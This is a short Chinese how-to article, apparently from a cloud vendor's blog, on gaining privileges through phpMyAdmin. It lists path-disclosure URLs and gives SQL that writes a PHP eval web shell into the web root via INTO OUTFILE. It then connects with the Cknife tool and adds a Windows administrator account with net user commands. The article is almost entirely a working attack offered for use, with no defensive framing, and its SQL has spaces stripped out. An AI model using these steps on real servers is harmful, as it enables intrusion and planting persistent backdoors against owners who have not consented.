这篇文章主要介绍了如何利用phpMyAdmin提权，具有一定借鉴价值，感兴趣的朋友可以参考下，希望大家阅读完这篇文章之后大有收获，下面让小编带着大家一起了解一下。

利用phpMyAdmin提权

爆路径

/phpmyadmin/libraries/lect_lang.lib.php

/phpMyAdmin/index.php?lang[]=1

/phpMyAdmin/phpinfo.php

/load_file()

/phpmyadmin/themes/darkblue_orange/layout.inc.php

/phpmyadmin/libraries/select_lang.lib.php

/phpmyadmin/libraries/lect_lang.lib.php

/phpmyadmin/libraries/mcrypt.lib.php

得到物理路径 C:\wamp\www\phpmyadmin\themes\darkblue_orange\layout.inc.php

写马

CreateTABLEa(cmdtextNOTNULL);InsertINTOa(cmd)VALUES("<?phpeval($_POST[Cknife]);?>");selectcmdfromaintooutfile"C:/wamp/www/phpmyadmin/d.php";DropTABLEIFEXISTSa;

获得webshell

最后用Cknife连接，创建帐户并添加到管理员用户组
net user admin admin /add
net localgroup administrator admin /add

感谢你能够认真阅读完这篇文章，希望小编分享的“如何利用phpMyAdmin提权”这篇文章对大家有帮助，同时也希望大家多多支持亿速云，关注亿速云行业资讯频道，更多相关知识等着你来学习!